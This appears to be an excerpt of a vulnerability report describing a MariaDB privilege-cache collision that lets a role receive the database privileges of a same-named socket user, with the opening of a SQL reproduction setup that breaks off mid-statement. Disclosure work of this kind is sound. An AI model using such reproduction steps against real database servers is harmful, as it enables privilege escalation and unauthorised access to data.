ACL cache collision lets a role inherit privileges from a same-named socket user

MariaDB's database privilege cache key does not distinguish a role lookup from a UNIX-socket user with the same name. A socket connection can warm the cache with the user account's database privileges. A different account that activates the same-named role then receives the cached user privileges …

CREATE DATABASE vhrole;
CREATE TABLE vhrole.secret(marker VARCHAR(40));
INSERT INTO vhrole.secret VALUES ('role-cache-collision-row');

CREATE ROLE vhcollision;
CREATE USER 'vhcollision'@'localhost'
  IDENTIFIED BY 'collision-user-only';
CREATE USER 'vhholder'@'127.0.0.1'
  IDENTIFIED BY …